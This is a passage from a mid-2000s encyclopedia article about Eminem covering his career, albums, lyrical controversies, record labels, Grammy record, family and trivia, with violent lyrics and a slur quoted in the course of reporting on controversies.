It is said that rap artist and producer Dr. Dre found Eminem's demo on the garage floor of [[Jimmy Iovine]], the [[Interscope Records|Interscope]] label chief. Though this did not directly lead to a recording contract, Dr. Dre agreed to sign him when Eminem won second place versus [[Otherwize]] at the [[1997]] [[Rap Olympics]] [[freestyle battle]]. Other sources state that an executive at the offices of Interscope handed the demo to Iovine who passed it to Dre, which resulted in a contract.

==Entering the mainstream==
[[Image:MarshallMathersLP.jpg|right|thumb|85pix|Album cover of ''The Marshall Mathers LP'' (2000).]]

Once he joined Interscope, Eminem released ''[[The Slim Shady LP]]'', which went on to be one of the most popular records of 1999, going [[RIAA certification|triple platinum]] by the end of the year. With the album's enormous popularity came controversy surrounding many of the album's lyrics. In &quot;'97 Bonnie and Clyde&quot;, Eminem describes a trip with his infant daughter, disposing of the body of his wife. Another song, &quot;Guilty Conscience,&quot; ends with Eminem encouraging a man to murder his wife and her lover.

''[[The Marshall Mathers LP]]'' was released in [[May 2000]], quickly selling 2 million copies. The first single released from the album, ''[[The Real Slim Shady]]'', was a huge hit— thanks in part to the catchy rhythm and chorus line, &quot;So won't the real Slim Shady please stand up, please stand up, please stand up?&quot; (adapted from the catch phrase of the TV quiz show ''[[To Tell the Truth]]''). It also created some buzz by trash-talking celebrities and making dubious claims about them. In the song, Eminem implies, among other things, that [[Christina Aguilera]] gave &quot;head&quot; ([[oral sex]]) to [[Fred Durst]] (of [[Limp Bizkit]]) and [[Carson Daly]] (of [[MTV]]'s [[Total Request Live]]). In his second single, &quot;[[The Way I Am (song)|The Way I Am]],&quot; he reveals to his fans the pressures from his record company to top &quot;[[My Name Is]]&quot; and sell more records, and dismisses the alleged controversial link between music such as that of [[Marilyn Manson]] and shootings such as at [[Columbine High School]] as absurd, instead blaming the parents.  In the third single, &quot;[[Stan (song)|Stan]]&quot; (which samples [[Dido (singer)|Dido]]'s &quot;Thank You&quot;), Eminem attempts to deal with his new-found fame, telling the story of a fan so obsessed with Eminem that the fan winds up killing himself and his pregnant girlfriend, mirroring one of the songs on ''The Slim Shady LP''. It is now considered to be one of the classics of the genre.

==Themes and topics==
[[Image:Eminem303.jpg|right|frame|Eminem in one of his many music videos.]]

A large part of Eminem's popularity is his separation from the over-abundance of &quot;[[pop music|pop]]-rap&quot;, in which rhymes rarely stray from bragging about money and jewelery, fast cars with large rims, huge parties, and constant casual sex. Instead, Eminem's songs typically explore deeper anger, thoughts, questions, and statements about his life and how he is treated. Common topics are:

*Drugs and self-abuse (mostly in his early ''Slim Shady''-era album and [[Freestyle rap|freestyles]])
*His mother and childhood 
*Being white in a black business/culture and growing up in a black neighborhood
*His wife ([[Kim Mathers]], whom he remarried in 2006)
*Disgust with groupies/dating 
*Growing up in poverty-ridden Detroit
*Raising his daughter and niece
*America and the government 
*Poking fun at celebrities and American [[pop culture]]
*Annoyance and/or amusement with people's literal interpretation of lyrics in songs like &quot;[[Criminal]]&quot; and &quot;[[Stan (song)|Stan]]&quot;.

==Controversy==
With the enormous popularity of Eminem's second album, the controversy surrounding Eminem grew even larger, especially when ''The Marshall Mathers LP'' was nominated for a [[Grammy Award]] for Album of the Year. Though Mathers had always claimed that his lyrics were not meant to be taken seriously, and that he had nothing against homosexuals or women, the gay rights group [[GLAAD]] organized a boycott of the Grammys. Mathers responded to this by singing &quot;Stan&quot; on-stage with openly gay singer [[Elton John]], ending the performance by hugging John to show that he didn't have anything against homosexuals. Though it shocked a lot of people, this gesture failed to appease many of his critics. In later interviews, he said he did not know Elton John was gay, but that he respected him: &quot;Of course I'd heard of Elton John,&quot; Eminem said, &quot;but I didn't know he was gay. I didn't know anything about his personal life. I didn't really care, but being that he was gay and he had my back, I think it made a statement in itself saying that he understood where I was coming from.&quot;

The two songs most often cited as examples in ''The Marshall Mathers LP'' of Eminem's [[misogyny]] were &quot;Kill You&quot; and &quot;Kim.&quot; Critics claimed the former portrayed extremely violent abuse against women in general and contained a line about Eminem raping his own mother. The latter is not so much a song as it is a reenactment of a fictional fight between Eminem and his wife, although he does rhyme his shouted, hoarse lines. Despite his conflicting expressions of love and hate throughout the track, Eminem ends up slitting Kim's throat at the end (accompanied by cries of &quot;''Bleed, bitch, bleed!''&quot;); several people objected to the graphic description of spousal abuse. On the clean version of the CD, the track was removed and replaced with a song almost entirely devoid of profanity called &quot;The Kids.&quot;

Since Eminem's rapid ascent to fame, tell-all biographies of varying quality have been published, including ''Shady Bizzness'' by his former bodyguard Byron Williams. Eminem himself has written a book called ''Angry Blonde'', released in 2000, where he reveals the emotions and intent behind the lyrics in the ''Marshall Mathers LP'', and describes his passion for and approach to rapping.

As one of six members of the rap group [[D12 (band)|D12]], Eminem appeared on the album ''Devil's Night'', released in 2001. The album was certified multi-platinum. The album contained the single &quot;[[Purple Pills]]&quot;, renamed &quot;Purple Hills&quot; for radio play. Another song, &quot;Blow My Buzz&quot;, was on the soundtrack for the film ''The Wash'' (2001), in which Eminem had a cameo appearance. 

[[Image:Eminemshow.jpg|left|thumb|Album cover of ''The Eminem Show'' (2002).]]

Eminem's third major album, ''The Eminem Show'' was released in summer 2002. It featured the single &quot;Without Me,&quot; an apparent sequel to &quot;The Real Slim Shady,&quot; in which he makes derogatory comments about [[boy band]]s, [[*NSYNC]]'s [[Chris Kirkpatrick]], [[Limp Bizkit]], [[Moby]], and [[Lynne Cheney]], among others. The album reflected on the impact of his rise to fame, his relationship with his wife Kim and his daughter Hailie, and his status in the hip-hop community. He also addresses the charges he faced over assaulting a [[Doorman|bouncer]] he saw kissing his wife in 2000. While there is clear anger present on several tracks, this album was considerably less inflammatory than the previous, and as such did not face any protests of misogyny and homophobia that had plagued ''The Marshall Mathers LP''. 

On [[November 19]], 2003, new controversy surrounded Eminem when a cassette tape was played during a press conference held by ''[[The Source (magazine)#The Source vs. Eminem|The Source]]'' magazine. The cassette featured Mathers performing a [[freestyle rap]] in which he made disparaging remarks about black women, calling them &quot;dumb chicks&quot; in comparison to white women and claimed they are only after money. Other racial slurs and remarks were on the tape, including the use of the word &quot;nigger&quot;. Mathers claimed he made the recording after breaking up with his black girlfriend in 1988; however ''The Source'' claimed the tapes were recorded in 1994, and old friends of Eminem's claimed he never had a black girlfriend. Eminem later filed a lawsuit against ''The Source'' for alleged [[copyright]] infringement.

On [[December 8]], 2003, the [[United States Secret Service]] admitted it was &quot;looking into&quot; allegations that Mathers had threatened the [[President of the United States]] after the unreleased song &quot;We As Americans&quot; leaked onto the internet. The lyrics in question: &quot;Fuck money / I don't rap for dead presidents / I'd rather see the president dead / It's never been said, but I set precedents...&quot;. The song was being recorded to possibly be on ''Encore,'' but wound up on a bonus CD accompanying the album ''Encore''. The second use of the word &quot;dead&quot; was edited out of that version.

Then, in 2004, Eminem made the [[music video]] &quot;[[My Band]]&quot; with D12. The song was the band's sarcastic response to the media's frequent portrayal of D12 as Eminem's band, giving little or no credit to its other members. The video contained various parodies, including that of the [[Super Bowl XXXVIII Halftime controversy|Janet Jackson &quot;incident&quot;]], and of 50 Cent's &quot;[[In Da Club]]&quot; video.

On [[October 12]], 2004, a week after the release of &quot;[[Just Lose It]]&quot;, Eminem's first video and single off ''Encore'', [[Michael Jackson]] called into the Los Angeles-based [[Steve Harvey]] radio show to report his displeasure with the video, which parodies Jackson's child-molestation accusations, [[plastic surgery|plastic surgeries]], and an incident in which Jackson's hair caught on fire while filming a [[Pepsi]] commercial in 1984.  The lyrics to &quot;Just Lose It&quot; also refer to Jackson's legal troubles. Many of Jackson's supporters and friends spoke out about the video, including [[Stevie Wonder]] who called the video &quot;kicking a man while he's down&quot; and &quot;bullshit&quot;,[http://www.allhiphop.com/hiphopnews/?ID=3825] and [[Steve Harvey]] who declared, &quot;Eminem has lost his ghetto pass. We want the pass back&quot;.[http://www.allhiphop.com/hiphopnews/?ID=3606] In the video, Eminem also parodied [[Pee Wee Herman]], [[MC Hammer]], and a Blonde-Ambition-touring [[Madonna (entertainer)|Madonna]].

[[Image:Eminem - Encore.jpg|thumb|Album cover of ''[[Encore (album)|Encore]]'' (2004).]]

[[Black Entertainment Television|BET]] was the first channel to stop airing the video.  MTV, however, announced it would continue airing the video, and &quot;Just Lose It&quot; became the #1 requested video on ''[[Total Request Live|TRL]]'' for the week ending [[October 22]]. ''The Source'' magazine, through its CEO Raymond &quot;[[Benzino]]&quot; Scott, wanted not only the video to be pulled, but the song off the album, and a public apology to Jackson from Eminem, though this was likely due to his personal hatred of Eminem rather than any genuine concern for Michael.[http://www.sohh.com/thewire/read.php?contentID=6321]

Others dismissed &quot;Just Lose It&quot; as a tame [[&quot;Weird Al&quot; Yankovic]]-style knockoff.[http://www.eonline.com/News/Items/0,1,15126,00.html] Regarding Jackson's protest, Yankovic, who parodied the Eminem song &quot;Lose Yourself&quot; on a track titled &quot;[[Couch potato|Couch Potato]]&quot; on his 2003 album ''[[Poodle Hat]]'', himself told the ''[[Chicago Sun-Times]]'', &quot;Last year, Eminem forced me to halt production on the video for my &quot;Lose Yourself&quot; parody because he somehow thought that it would be harmful to his image or career. So the irony of this situation with Michael is not lost on me.&quot;

On [[October 26]], 2004, a week before the [[U.S. presidential election, 2004]], Eminem released the video for his song titled &quot;Mosh&quot; on the Internet. The song features a very strong anti-[[George W. Bush|Bush]] message, with lyrics such as &quot;fuck Bush&quot; and &quot;this weapon of mass destruction that we call our president&quot;. The video features Eminem gathering up an army of people presented as victims of the Bush administration and leading them to the [[White House]]. However, once the army breaks in, it is revealed that they are there to simply register to vote, and the video ends with the words &quot;VOTE Tuesday November 2&quot; on the screen. After Bush won the election, the video's ending was changed to Eminem and the protesters invading while Bush was giving a speech. On [[October 31]], Eminem performed the song on ''[[Saturday Night Live]]'', but some thought that he appeared to be [[lip-sync]]ing the chorus, only a week after  [[Ashlee Simpson]] was caught lip-syncing her performance on the program. His management observed that he was merely rapping over a backing track so as not to lose the beat, and in any case, since the Simpson incident had occurred only the week previously, Eminem made a point of lowering the microphone whenever the backing vocals were heard while he wasn't rapping. None of the publicity helped the album however, which saw its sales stall at 4.7 million copies, a number dramatically lower than his past two albums.

In summer 2005, Mathers embarked on his first US concert run in three years, the Anger Management 3 Tour, featuring [[Lil' Jon]], 50 Cent and [[G-Unit]], [[D12 (hip-hop group)|D12]], [[Obie Trice]], [[The Alchemist (producer)|The Alchemist]], and others. In August 2005, Eminem canceled the European leg of the tour and subsequently announced that he had entered [[drug rehabilitation]] for treatment for a &quot;dependency on sleep medication&quot;.[http://news.yahoo.com/s/eo/20050819/en_music_eo/17184]

At the same time as he was entering rehab, his aunt and uncle, Jack and Betty Schmitt, sued Mathers, charging that he had reneged on a promise to build a $350,000 house for them and supply them with money for the house's upkeep.  The couple claimed that Mathers had kept the house in his name, and then issued them eviction orders.
 
On [[November 8]], [[2005]], it was revealed that Eminem was asked to perform at [[Live 8]] but didn't respond to calls from [[Live 8]] organizers [[Sir Bob Geldof]] and [[Bono]].

Eminem has made many [[Eminem's enemies|enemies]] in the music industry, including [[Ja Rule]], [[Benzino]], [[Everlast (singer)|Everlast]], the [[Insane Clown Posse]] (although recently, at an ICP concert, they sat down with Proof of D12 and talked out their differences, officially &quot;squashing the beef with D12&quot;), [[Canibus]], [[Vanilla Ice]], [[Fred Durst]] and others.

:''See also:'' [[Eminem's enemies]]

==Other works and ventures==
[[Image:8mile.jpg|left|thumb|85pix| Promotional poster for ''[[8 Mile]]'' (2002).]]

Eminem made his [[Hollywood]] acting debut with the semi-autobiographical ''[[8 Mile]]'', released in November 2002. He recorded several new songs for the soundtrack, including &quot;[[Lose Yourself]],&quot; which won Eminem an [[Academy Award for Best Song]]; it was not performed at the ceremony, reportedly because ABC wanted him to perform an edited version. 

Eminem has done some voice acting, both on ''[[Crank Yankers]]'' and a web cartoon called ''The Slim Shady Show'', which has since been pulled offline and is instead sold on DVD.

Eminem has also been linked to &quot;Songs of Hope&quot; by [[U2]] and supported the Boys and Girls Club of America and the Leary Fire Fighters Foundation with various proceeds donated to these causes. In 2004, he held a political convention of his own in [[New York City]], in response to the National Republican Convention. In the song &quot;[[Mosh]]&quot;, Eminem expresses his support for American troops, but speaks against the [[2003 invasion of Iraq|Iraq war]] and the Bush administration. The [[Raelism|Raelians Religious Movement]], a religious group whose beliefs are centered around communication with [[extraterrestrial life]] tried to appoint Eminem as an honorary priest . In addition, he has raised [[AIDS]] and other [[Sexually Transmitted Disease|STD]] awareness in a number of songs portraying infected people having promiscuous sex with numerous partners.

===Aftermath Entertainment===
Although Eminem owns his own label, he is strictly signed to Dr. Dre's [[Aftermath Entertainment]] as a solo artist. The Aftermath roster includes 50 Cent, [[Busta Rhymes]], [[Stat Quo]], Eve, The Game and newcomer [[Bishop Lamont]].

===Shady Records===
Dr. Dre's leading protégé succeeded in multi-platinum record sales. Eminem was granted his own record label, a sublabel of Aftermath Entertainment. He and his manager Paul Rosenberg created Shady Records in late 2000. Eminem and Dr. Dre had signed 50 Cent on a joint venture between Aftermath &amp;amp; Shady Records. His own Detroit collective [[D12 (band)|D12]] and rapper [[Obie Trice]] were signed to the Shady Records label. In 2003, Eminem and Dr. Dre signed on Atlanta rapper [[Stat Quo]] to the roster. [[DJ Green Lantern]], the former [[deejay]] for Eminem, was signed to Shady Records until a dispute with 50 Cent forced him to depart from the label, and he is no longer associated with Eminem. [[The Alchemist (producer)|The Alchemist]] is now officially Eminem's tour deejay. In 2005, Eminem officially signed another Atlanta rapper known as [[Bobby Creekwater]] to his label. There are also plans to sign a rapper by the name of Fizzy B to Shady Records. Many other rappers have been speculated as possible additions to Shady Records, including West rappers [[Ras Kass]], [[Ice Cube]], [[Xzibit]], and Detroit rappers [[Trick Trick]], [[King Gordy]], [[Marv One]], and [[J Hill]].  There have also been rumors that Eminem was interested in signing [[Young Zee]], a friend of his from the group [[Outsidaz]].

Eminem signed a deal with [[Sirius Satellite Radio]] to program a rap-oriented station called ''Shade 45'', which debuted on [[October 28]], 2004. He also owns a clothing line called &quot;Shady Ltd.&quot;

===Eminem as a producer===
Eminem is also active as a producer of rap records. Besides being the executive producer of [[D12 (hip-hop group)|D12]]'s two albums, ''[[Devil's Night]]'' and ''[[D12 World]]'', he has also produced numerous tracks on Obie Trice's ''[[Cheers (album)|Cheers]]'' as well as 50 Cent's ''[[Get Rich or Die Tryin']]'' and ''[[The Massacre]]''. Most of ''The Eminem Show'' was produced by Eminem himself, with co-production from longtime collaborator [[Bass Brothers|Jeff Bass]]. He split the production with Dr. Dre on ''Encore''. He also executive-produced [[Tupac Shakur|2Pac]]'s posthumous album ''[[Loyal to the Game]]'' with 2Pac's mother Afeni Shakur. On certain tracks, 2Pac's voice was slowed down or sped up, and digitally altered to say things like &quot;2005&quot; and &quot;G-Unit,&quot; angering devoted 2Pac fans.

==Retiring Slim Shady==
In 2005, some industry insiders speculated that Eminem is considering concluding his rapping career after six years and numerous multi-platinum albums. Speculation began in early 2005 about a double-disc album to be released late that year, rumored to be titled ''The Funeral''. The album manifested itself under the name ''[[Curtain Call]],'' and was released on [[December 6]], 2005. 

In [[July 2005]], the [[Detroit Free Press]] broke news of a potential final bow for Eminem as a solo performer, quoting members of his inside circle who said that he will begin to fully embrace the role of producer and label executive. The Free Press, Eminem's hometown paper, wrote that the aptly titled ''[[Encore (album)|Encore]]'' album would now stand as his final solo album. [http://www.freep.com/entertainment/music/encore15e_20050715.htm]

Deep within Eminem's inner circle there is talk that the rapper is planning on retiring after he concludes his ''Anger Management Tour'' in Detroit. The reason for his retirement is to focus on acting, spending time with his daughter and niece, and more on his increasing popularity in production. Eminem and his manager Paul Rosenburg as well as their representatives will not comment on the situation. This may not mean his retirement from rapping completely, as he may well still contribute to many of his Shady Records and Aftermath artists projects as well as Dr. Dre's planned ''[[Detox (album)|Detox]]'' album.

[[Image:CurtainCall.jpg|thumb|Album cover of ''[[Curtain Call: The Hits]]'' (2005).]]

Eminem recently announced via [[MTV News]] that he does not plan on retiring soon, though he is planning on taking a break to produce music. He is still uncertain whether another album will be released, but his career has not come to a full stop. However, as he entered rehab in 2005 for dependency on sleep medication, many are speculating that he will use this event to lay down his microphone. The star is continuing to work out of the spotlight, including producing the [[Redman]] album ''Red Gone Wild''. One track to be released on that album which has a gained attention is &quot;I C Dead People&quot;, which will feature raps from three deceased artists: [[Big Pun]], [[Big L (rapper)|Big L]] and the [[Notorious B.I.G.]]

At &quot;Anger Management&quot; in Madison Square Garden and Atlanta's HiFi Buys Amphitheater he openly announced that he is not retiring and indicates this is all just gossip by saying the moon exploding is a more credible rumor.  However, many still speculate that he will be retiring and the announcement at Madison Square Garden was only a ploy to distract the fans.

Adding to the already feverish rumors from fans, Eminem released a track to be on ''Curtain Call'' entitled &quot;When I'm Gone.&quot; The lyrics feature the topic of Slim Shady's destructive power over Marshall Mathers' life, and talks of laying Slim Shady to rest, one line featuring the lyrics &quot;Find a gun on the ground / cock it, put it to my brain / scream 'Die Shady!' and pop it.&quot; Whether or not this is an unsubtle hint at retirement is currently up for speculation. The lyrics also show feelings of guilt, Eminem feeling he should've spent more time with his daughter Hailie; &quot;'Daddy, where's Mommy? I can't find Mommy, where is she?' 'I don't know, go play, Hailie, baby, your daddy's busy.'&quot;

On [[December 6]], 2005, the day of ''Curtain Call''&lt;nowiki&gt;'&lt;/nowiki&gt;s release, Eminem told suburban Detroit radio station WKQI-FM's &quot;Mojo in the Morning&quot; show that he and Kim had reconciled and were probably going to remarry. He denied that he was retiring, but implied that he would at least be taking a break as an artist, saying, &quot;I'm at a point in my life right now where I feel like I don't know where my career is going ... This is the reason that we called it 'Curtain Call,' because this could be the final thing. We don't know.&quot; [http://www.nytimes.com/aponline/arts/AP-People-Eminem.html]

==Eminem in D12==
In 2001, Eminem brought the rap group he was a member of, [[D12 (hip-hop group)|D12]], to the popular music scene. In 2001, D12 released their hit debut album titled ''Devil's Night''. The first single released off of the album was &quot;[[Purple Pills]],&quot; an ode to [[recreational drug use]] (although this was preceded in the UK by a song called &quot;[[Shit On You]]&quot;, which was included on the Special Edition version of the album released in that country). The version of the song released on the radio and music television was heavily rewritten to remove much of the song's offensive nature, and retitled &quot;Purple Hills.&quot; While the first single was a massive hit, the album's second single, &quot;Fight Music,&quot; was not as successful. Some have attributed this to the emotional change caused in [[United States|American]] society due to the [[September 11, 2001 attacks]]. After their debut, D12 took 3 years in hiatus from the studio, later regrouping to releasing their sophomore album, ''[[D12 World]]'', in 2004, which featured the popular hit single release &quot;My Band.&quot; The other members of D12 have also appeared as guests on all of Eminem's albums since ''The Marshall Mathers LP''. D12's third album is tentatively scheduled for a 2006 release.

==Grammy Award History==
[[Image:eminem3.jpg]]

'''Grammy Stats'''
*Career Wins: 9 
*Career Nominations: 21

'''Album of the Year'''
*The Eminem Show ''Nominated'' 2003
*[[The Marshall Mathers LP]] ''Nominated'' 2001

'''Song of the Year'''
*&quot;Lose Yourself&quot; w/ [[L. Restro]] &amp; [[J. Bass]] ''Nominated'' 2004

'''Record of the Year'''
*&quot;Lose Yourself&quot; ''Nominated'' 2004
*&quot;Without Me&quot; ''Nominated'' 2003

'''Best Rap Solo Performance'''
*&quot;Mockingbird&quot; ''Nominated'' 2006
*&quot;Just Lose It&quot; ''Nominated'' 2005
*&quot;The Real Slim Shady&quot; '''WON''' 2001

*&quot;My Name Is&quot; '''WON''' 2000

'''Best Male Rap Solo Performance'''
*&quot;Lose Yourself&quot; '''WON''' 2004
*&quot;Without Me&quot; ''Nominated'' 2003

'''Best Rap Performance By a Duo or Group'''
*&quot;Encore&quot; w/ 50 Cent &amp; Dr. Dre ''Nominated'' 2006
*&quot;Forgot About Dre&quot; w/ Dr. Dre  '''WON''' 2001
*&quot;Guilty Conscience&quot; w/ Dr. Dre  ''Nominated'' 2000

'''Best Rap Song'''
*&quot;Lose Yourself&quot; w/ [[L. Restro]] &amp; [[J. Bass]] '''WON''' 2004

'''Best Rap Album'''
*''[[Encore (album)|Encore]]'' ''Nominated'' 2006
*''The Eminem Show'' '''WON''' 2003
*''[[The Marshall Mathers LP]]'' '''WON''' 2001
*''[[Slim Shady LP]]'' '''WON''' 2000

'''Best Short-Form Music Video'''
*&quot;Without Me&quot;  '''WON''' 2004

'''Best Song Written For a Motion Picture, Television Special or Other Media'''
*&quot;Lose Yourself&quot; w/ [[L. Restro]] &amp; [[J. Bass]] ''Nominated'' 2004

==Discography==
===Albums and EPs===
*''[[Infinite (album)|Infinite]]'' (1996) (Sold roughly 500 copies out of the trunk of his car).
*''[[The Slim Shady EP]]'' (1997)
*''[[The Slim Shady LP]]'' (1999) #2 US ('''4x Platinum'''); #12 UK (Platinum) (9 million worldwide)
*''[[The Marshall Mathers LP]]'' (2000) '''#1''' US (8 weeks) ('''9x Platinum'''); '''#1''' UK (19 million worldwide)
*''[[The Eminem Show]]'' (2002) '''#1''' US (6 weeks) ('''8x Platinum'''); '''#1''' UK (over 19 million worldwide) 
*''[[8 Mile Soundtrack]]'' (album production, and rapping on five of the tracks - 2002) '''#1''' US (4 weeks) ('''4x Platinum'''); '''#1''' UK (compilation chart) (Gold) (9 million worldwide)
*''[[Encore (album)|Encore]]'' (2004) '''#1''' US (4 weeks) ('''4x Platinum'''); '''#1''' UK (3x Platinum) (11 million worldwide)
*''[[Curtain Call: The Hits]]'' (2005) '''#1''' US (2 weeks) ('''2x Platinum''') (4 million worldwide)

''For a more detailed list of works, see '''[[Eminem discography]]'''.''

===Movies===
*''[[Da Hip-Hop Witch]]'' (2000) (Appearance)
*''[[The Wash (movie)|The Wash]]'' (2001) (Cameo)
*''[[8 Mile]]'' (2002) (Starring)

==Children==
'''Hailie Jade Scott (Mathers)''' is the daughter of Eminem and his wife Kimberly Ann Scott. She was born on [[December 25]], [[1995]]. The songs &quot;[[Mockingbird (song)|Mockingbird]]&quot; on Eminem's album ''Encore'', &quot;Hailie's Song&quot; on ''The Eminem Show'', and Eminem's 2005 single &quot;When I'm Gone&quot; are dedicated to her. Hailie joins her father in the hook for &quot;My Dad's Gone Crazy.&quot;  She also features prominently in a number of his other songs, most notably in Just The Two Of Us on ''[[The Slim Shady EP]]'', later renamed '97 Bonnie &amp;amp; Clyde on ''[[The Slim Shady LP]]'', which is a fictional account of Eminem, accompanied by [[Hailie Jade Scott|Hailie]], dumping the dead body of his wife into a lake, while he talks lovingly to his daughter in baby-talk.

'''Alaina Mathers''' is Eminem's eleven-year-old adopted daughter.  The daughter of his wife Kim's twin sister, Eminem has custody of his niece and is raising her as Hailie's sister. She is also referenced in the song &quot;[[Mockingbird (music)|Mockingbird]]&quot; on ''Encore'', as &quot;Laney&quot;.

'''Nathan Mathers''' is Eminem's younger half-brother by 14 years. He is Nathan's legal guardian.

Eminem is also determined to get custody of Whitney, Kim's child by another man, in order to become the girl's father. Eminem is quoted as saying about Whitney: &quot;I'm in love with that girl, man. She's so sweet and funny.&quot; He plans to change Whitney's last name to Mathers.

==Trivia==
*The second &quot;E&quot; in his stage name has been reversed on his records since his second album ''[[The Marshall Mathers LP]]''. The backwards-E has become a logo for him, appearing prominently in his videos and stage set.

*Several songs were released in response to the track &quot;[[Stan (song)|Stan]]&quot; off of ''[[The Marshall Mathers LP]]''. Enemy rapper [[Canibus]] released the track &quot;U Didn't Care,&quot; rapping as the Stan character and implying that Eminem doesn't care about his fans. The [[Pet Shop Boys]] released &quot;The Night I Fell in Love,&quot; in which a male fan goes backstage at an Eminem concert and has a one-night stand with him. Christian rapper [[KJ-52]] released &quot;Dear Slim&quot; and &quot;Dear Slim pt. 2,&quot; open letters to Eminem in a similar style to &quot;Stan.&quot;

*When Dr. Dre first heard his tape, he thought Eminem was black.[http://www.dr-dre.com/info/interview_vh1_nuthin_but_an_m_thing.php]

*Several of his songs have been parodied. The most famous incident was [[&quot;Weird Al&quot; Yankovic]]'s parody of &quot;Lose Yourself,&quot; entitled &quot;Couch Potato&quot; and featuring new lyrics about television programming. He has also been parodied twice by the Christian [[parody]] band [[ApologetiX]], with &quot;Lose Yourself&quot; (&quot;Look Yourself&quot;) and &quot;The Real Slim Shady&quot; (&quot;The Real Sin Savior&quot;).

*Eminem is [[left-handed]]. This can be seen in a scene in ''[[8 Mile]]'' where he is sitting on a bus with a pencil in his left hand, as well as in several of the promotional posters for the film, which depict him writing lyrics with his left hand.

*Eminem's height: 5'8&quot; (1.73m).

*His real hair color is in fact a dark brown, he bleaches his hair with peroxide (as stated in &quot;White America&quot;); he did not bleach his hair in ''[[8 Mile]]'', and so his natural hair color can be seen in the movie.

*Eminem wears glasses, which can be seen in some of his interviews, as well as on the music videos for &quot;[[Mockingbird (song)|Mockingbird]]&quot; and &quot;[[Stan (song)|Stan]]&quot;.

*Eminem's rap group [[D12 (hip-hop group)|D12]], short for &quot;Dirty Dozen,&quot; has only six members. Many people are often confused by the number.  It is &quot;12&quot; because each of the six members of the group has two pseudonyms or &quot;personas.&quot; (For example, &quot;Eminem&quot; and &quot;Slim Shady&quot;).

*Eminem was number 6 on [[VH1]]'s 50 greatest hip hop artists of all time.

*Eminem has been awarded nine [[Grammy]] awards. He also received nominations for Album of the Year for both ''The Marshall Mathers LP'' and ''The Eminem Show''.

* ''The Marshall Mathers LP'' was the first rap album to be nominated for Album of the Year at the Grammy Awards and &quot;Lose Yourself&quot; was the first rap song to be nominated for Song of the Year.

*Eminem won a [[Academy Award for Best Song|Best Song Oscar]] for his song &quot;[[Lose Yourself]]&quot; from the movie ''[[8 Mile]]''.

*In November 2002, Eminem had the #1 album (''[[8 Mile Soundtrack]]''), movie (''[[8 Mile]]''), and song (&quot;[[Lose Yourself]]&quot;) all at the same time, becoming the first artist/entertainer ever to do so.

*[[Human Rights Watch]] claims that Eminem's music was used to torture detainees in a secret [[Afghanistan]] prison near [[Kabul]] between 2002 and 2004. [http://www.hrw.org/english/docs/2005/12/19/afghan12319.htm]

*Eminem listed his favorite rappers as [[Redman]], [[Jay-Z]], Tupac Shakur, [[The Notorious B.I.G.]], [[André 3000]] from [[OutKast]], [[Jadakiss]], [[Kurupt]], and Nas in the song &quot;'Till I Collapse&quot; from his 2002 release, ''The Eminem Show''.

*In acceptance of his Grammy for Best Rap Album (for ''The Eminem Show'') in 2003, he credited his rap influences, saying, &quot;I made me a little list of MCs that I wanted to name off that inspired me to, to bring me where I am today - cause honestly, I wouldn't be here without them. So the list goes like this, and it's not in this order, but the list is this: [[Run-DMC]], the [[Beastie Boys]], [[LL Cool J]], [[Kool G. Rap]], [[Master Ace]], [[Rakim]], [[Big Daddy Kane]], Dr. Dre, all of [[N.W.A.]], [[KRS-One]], Treach from [[Naughty by Nature]], Nas, Tupac, [[The Notorious B.I.G.|Biggie]], Jay-Z. Thank you, 'cause I learned from all of you. Thank you.&quot;

*Eminem's manager, Paul Rosenberg (who is featured prominently in several skits on Eminem's solo releases), was once a rapper himself, known as &quot;Paul Bunyan&quot;.

*Marshall and his wife [[Kim Mathers|Kim]] first met at one of his friends' houses, when Eminem was fifteen and Kim was thirteen. She came over while he was lip synching to LL Cool J songs and jumping on the furniture.

*He is a fan of the TV show &quot;[[Crank Yankers]]&quot;; puppets from the show were included in the video for &quot;Ass Like That&quot;. He has also lent his voice to the show numerous times, and had one of the puppets, Special Ed, host &quot;Eminem's Special Hits&quot;.

*He loves ''[[South Park]]'', and referred to himself as a &quot;twenty-six-year-old skinny [[Eric Cartman|Cartman]]&quot; in the song &quot;Marshall Mathers&quot;.

*In the movie [[8 Mile]], an opposing MC, in reference to Rabbit, Eminem's character, said &quot;I feel bad I gotta murder that dude from [[Leave It to Beaver]].&quot; Interestingly, the name of the actor who played The Beaver was [[Jerry Mathers]]. Mathers is Eminem's last name.

==Awards and nominations==
'''[[Academy Award]]s'''
*2003 - [[Academy Award for Best Song|Best song]], for &quot;Lose Yourself&quot; from ''[[8 Mile]]''

'''[[Golden Globe Awards]]'''
*2003 - Best Original Song in a Motion Picture (Nominee), for &quot;Lose Yourself&quot; from ''[[8 Mile]]''

'''[[Grammy Award]]s'''
*2000 - [[Grammy Award for Best Rap Solo Performance|Best rap solo performance]] for &quot;[[My Name Is]]&quot; from ''[[The Slim Shady LP]]''
*2000 - [[Grammy Award for Best Rap Album|Best rap album]] for ''The Slim Shady LP''
*2001 - [[Grammy Award for Best Rap Solo Performance|Best rap solo performance]] for &quot;[[The Real Slim Shady]]&quot; from ''[[The Marshall Mathers LP]]''
*2001 - [[Grammy Award for Best Rap Performance by a Duo or Group|Best rap performance by a duo or group]] (with Dr. Dre) for &quot;Forgot About Dre&quot; from ''[[2001 (album)|Dr Dre 2001]]''
*2001 - [[Grammy Award for Best Rap Album|Best rap album]] for ''The Marshall Mathers LP''
*2003 - [[Grammy Award for Best Short Form Music Video|Best short form music video]], for &quot;[[Without Me]]&quot; from ''The Eminem Show'' (directed by [[Joseph Kahn]])
*2003 - [[Grammy Award for Best Rap Album|Best rap album]]  for ''The Eminem Show''
*2004 - [[Grammy Award for Best Male Rap Solo Performance|Best male rap solo performance]] for &quot;Lose Yourself&quot; from the ''[[8 Mile Soundtrack|8 Mile O.S.T.]]''
*2004 - [[Grammy Award for Best Rap Song|Best rap song]] for &quot;Lose Yourself&quot; from the ''8 Mile O.S.T.''

'''[[Grammy Award|Grammy Award nominations]]'''
*2006 - [[Grammy Award for Best Rap Song|Best rap song]] for &quot;Mockingbird&quot; from ''Encore'' (Nominee)
*2006 - [[Grammy Award for Best Rap Performance by a Duo or Group|Best rap performance by a duo or group]] for &quot;Encore/Curtains Down&quot; (featuring Dr. Dre &amp; 50 Cent) from ''Encore'' (Nominee)
*2006 - [[Grammy Award for Best Rap Album|Best rap album]] for ''Encore'' (Nominee)

'''[[MTV Movie Awards]]'''
*2002 - Best male performance, for ''8 Mile''
*2002 - Best breakthrough male performance, for ''8 Mile''

'''[[MTV Video Music Award]]s'''
